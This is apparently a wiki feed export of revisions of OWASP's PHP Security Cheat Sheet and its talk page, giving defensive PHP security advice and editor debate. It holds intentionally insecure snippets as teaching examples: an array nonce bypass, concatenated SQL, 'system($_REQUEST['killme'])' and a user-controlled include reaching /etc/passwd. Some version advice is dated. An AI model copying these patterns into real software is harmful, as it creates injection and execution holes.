The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:PHP_Security_Cheat_Sheet&amp;diff=170329</id>
		<title>Talk:PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:PHP_Security_Cheat_Sheet&amp;diff=170329"/>
				<updated>2014-03-18T03:45:47Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Just signing my name.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== NOTOC ===&lt;br /&gt;
&lt;br /&gt;
I want to keep the TOC in so this is standard like other cheat sheets in this series (Jim Nov 25 2012)&lt;br /&gt;
&lt;br /&gt;
=== TBD ===&lt;br /&gt;
I'm (mis-)using the &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;{{TBD: ...}}&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; wiki syntax to mark texts and paragraphs &amp;quot;to be discussed&amp;quot;.&lt;br /&gt;
[[User:Achim|Achim]], 3-jul-2012&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
&lt;br /&gt;
I think your error configuration is not good. You have to set display_errors and display_startup_errors to On, otherwise it would be too hard to debug your code (yes you need debugging even on the server). The better practice, is to set to to On by default, and use a framework (a piece of code) to redirect that to a log for general user, and keep it on the screen for admins/developers.&lt;br /&gt;
I've seen infinite developers set it to off, then set it to On for debugging, and leave it there.&lt;br /&gt;
&lt;br /&gt;
: OWASP makes suggestions for security not for compfy debugging. Security is the goal.&lt;br /&gt;
: Hence '''Off''' is the choice for produktive systems. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: I don't know if you've experienced it or not, but this is exactly the difference between an open community and a commercial rigid ISO workgroup. We provide solutions that people actually use, not solutions that are perfect if we lived on the moon. This error handling issue is very important. Also the startup error should be on, otherwise users only think the site is dead. There shuold be a critical error level, delivered to the admin via SMS or Email, so that these errors are handled properly.&lt;br /&gt;
&lt;br /&gt;
Why the hell is file_uploads off? Are you one of those guys who believe everything should be off to provide a secure system?&lt;br /&gt;
&lt;br /&gt;
: Yes (but there is a hint that some settings need to be adapted to real systems:) --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: Could you elaborate the security risks with file_uploads? &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also disabling functions and etc. its a very bad practice. This is only used in dull shared web hosting systems, and nobody gets their hosts.&lt;br /&gt;
&lt;br /&gt;
: Either we try to make a crappy PHP secure, or you have to live with brain-dead develpers using something like &amp;lt;code&amp;gt;system($_REQUEST['killme'])&amp;lt;/code&amp;gt;&lt;br /&gt;
: --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: Develoeprs should be aware of dangerous functions. Some IDE's deliver warnings when variables are used in dangerous functions, we could create a tool that would scan the code and tell so. This is the same scenario as the first issue.&lt;br /&gt;
&lt;br /&gt;
Most usage of PHP is available source code (Wordpress, Joomla, MyBB, etc.) and they all use these abilities. What you're indicating just says &amp;quot;dont follow this cheat sheet&amp;quot;, no offence!&lt;br /&gt;
&lt;br /&gt;
: the cheat sheet is about security, not about using insecure frameworks. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: 15% of websites are powered with Wordpress, and they are among the most secure of all :)) Do you expect every admin to pay a few thousand bucks for it?&lt;br /&gt;
&lt;br /&gt;
We gotta discuss session handling, there's a lot of issues there.&lt;br /&gt;
&lt;br /&gt;
Allow_url_fopen Off is not secure at all. my most recent paper lists 12 methods of converting and LFI to a RFI, if somehow has an LFI flaw in the code, url_fopen On or Off wont matter.&lt;br /&gt;
&lt;br /&gt;
: Right. But if set on, it's definitely insecure and very easy to exploit. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: I'm just saying LFI is enough big of a threat that we need to '''educate''' developers about it. If we don't, there are absolutely no countermeasures.&lt;br /&gt;
&lt;br /&gt;
The memory and execution time limit defined there,  is very bad practice. This limit kills the php script, and results in numerous errors which are extremely hard to debug. They do not mitigate DOS, you can simply run 10 scripts instead of 1.  The optimum values are 32MB memory, 30 second execution time, with ability to extend it in user code.&lt;br /&gt;
&lt;br /&gt;
: It's a suggestion, feel free to adapt it to proper values. Just using the default may bring you to some risks. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: We need to find a solution to put a cognitive limit, otherwise there's no ''JUST&amp;quot; value for it. I need to delve my head into PHP manuals.&lt;br /&gt;
&lt;br /&gt;
Please get back to me on this, or my email at owasp@abiusx.com&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
Hi Abbas, could you add some clarification for ORM? Not everyone knows the acronym which diminishes the general readability and usability. Thanks! --[[User:Peter Mosmans|Peter Mosmans]] 04:47, 16 October 2012 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Citing 72% of servers stat ==&lt;br /&gt;
&lt;br /&gt;
Can someone provide the source for the statistic under the “PHP overview” section that 72% of web servers run PHP. Also, is that 72% of ''all'' servers worldwide?&lt;br /&gt;
— [[User:Roy Vanegas|Roy Vanegas]] ([[User talk:Roy Vanegas|talk]]) 22:45, 17 March 2014 (CDT)&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:PHP_Security_Cheat_Sheet&amp;diff=170328</id>
		<title>Talk:PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:PHP_Security_Cheat_Sheet&amp;diff=170328"/>
				<updated>2014-03-18T03:41:40Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: /* Citing 72% of servers stat */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== NOTOC ===&lt;br /&gt;
&lt;br /&gt;
I want to keep the TOC in so this is standard like other cheat sheets in this series (Jim Nov 25 2012)&lt;br /&gt;
&lt;br /&gt;
=== TBD ===&lt;br /&gt;
I'm (mis-)using the &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;{{TBD: ...}}&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; wiki syntax to mark texts and paragraphs &amp;quot;to be discussed&amp;quot;.&lt;br /&gt;
[[User:Achim|Achim]], 3-jul-2012&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
&lt;br /&gt;
I think your error configuration is not good. You have to set display_errors and display_startup_errors to On, otherwise it would be too hard to debug your code (yes you need debugging even on the server). The better practice, is to set to to On by default, and use a framework (a piece of code) to redirect that to a log for general user, and keep it on the screen for admins/developers.&lt;br /&gt;
I've seen infinite developers set it to off, then set it to On for debugging, and leave it there.&lt;br /&gt;
&lt;br /&gt;
: OWASP makes suggestions for security not for compfy debugging. Security is the goal.&lt;br /&gt;
: Hence '''Off''' is the choice for produktive systems. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: I don't know if you've experienced it or not, but this is exactly the difference between an open community and a commercial rigid ISO workgroup. We provide solutions that people actually use, not solutions that are perfect if we lived on the moon. This error handling issue is very important. Also the startup error should be on, otherwise users only think the site is dead. There shuold be a critical error level, delivered to the admin via SMS or Email, so that these errors are handled properly.&lt;br /&gt;
&lt;br /&gt;
Why the hell is file_uploads off? Are you one of those guys who believe everything should be off to provide a secure system?&lt;br /&gt;
&lt;br /&gt;
: Yes (but there is a hint that some settings need to be adapted to real systems:) --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: Could you elaborate the security risks with file_uploads? &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also disabling functions and etc. its a very bad practice. This is only used in dull shared web hosting systems, and nobody gets their hosts.&lt;br /&gt;
&lt;br /&gt;
: Either we try to make a crappy PHP secure, or you have to live with brain-dead develpers using something like &amp;lt;code&amp;gt;system($_REQUEST['killme'])&amp;lt;/code&amp;gt;&lt;br /&gt;
: --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: Develoeprs should be aware of dangerous functions. Some IDE's deliver warnings when variables are used in dangerous functions, we could create a tool that would scan the code and tell so. This is the same scenario as the first issue.&lt;br /&gt;
&lt;br /&gt;
Most usage of PHP is available source code (Wordpress, Joomla, MyBB, etc.) and they all use these abilities. What you're indicating just says &amp;quot;dont follow this cheat sheet&amp;quot;, no offence!&lt;br /&gt;
&lt;br /&gt;
: the cheat sheet is about security, not about using insecure frameworks. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: 15% of websites are powered with Wordpress, and they are among the most secure of all :)) Do you expect every admin to pay a few thousand bucks for it?&lt;br /&gt;
&lt;br /&gt;
We gotta discuss session handling, there's a lot of issues there.&lt;br /&gt;
&lt;br /&gt;
Allow_url_fopen Off is not secure at all. my most recent paper lists 12 methods of converting and LFI to a RFI, if somehow has an LFI flaw in the code, url_fopen On or Off wont matter.&lt;br /&gt;
&lt;br /&gt;
: Right. But if set on, it's definitely insecure and very easy to exploit. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: I'm just saying LFI is enough big of a threat that we need to '''educate''' developers about it. If we don't, there are absolutely no countermeasures.&lt;br /&gt;
&lt;br /&gt;
The memory and execution time limit defined there,  is very bad practice. This limit kills the php script, and results in numerous errors which are extremely hard to debug. They do not mitigate DOS, you can simply run 10 scripts instead of 1.  The optimum values are 32MB memory, 30 second execution time, with ability to extend it in user code.&lt;br /&gt;
&lt;br /&gt;
: It's a suggestion, feel free to adapt it to proper values. Just using the default may bring you to some risks. --[[User:Achim|Achim]], 5-jul-2012&lt;br /&gt;
&lt;br /&gt;
:: We need to find a solution to put a cognitive limit, otherwise there's no ''JUST&amp;quot; value for it. I need to delve my head into PHP manuals.&lt;br /&gt;
&lt;br /&gt;
Please get back to me on this, or my email at owasp@abiusx.com&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
Hi Abbas, could you add some clarification for ORM? Not everyone knows the acronym which diminishes the general readability and usability. Thanks! --[[User:Peter Mosmans|Peter Mosmans]] 04:47, 16 October 2012 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Citing 72% of servers stat ==&lt;br /&gt;
&lt;br /&gt;
Can someone provide the source for the statistic under the “PHP overview” section that 72% of web servers run PHP. Also, is that 72% of ''all'' servers worldwide?&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170322</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170322"/>
				<updated>2014-03-17T22:31:38Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Identified the equality vs identity operators under the section “Input handling.”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 72% of web servers deploying it.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to write secure PHP applications. These are difficult to work around if you are forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions, and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
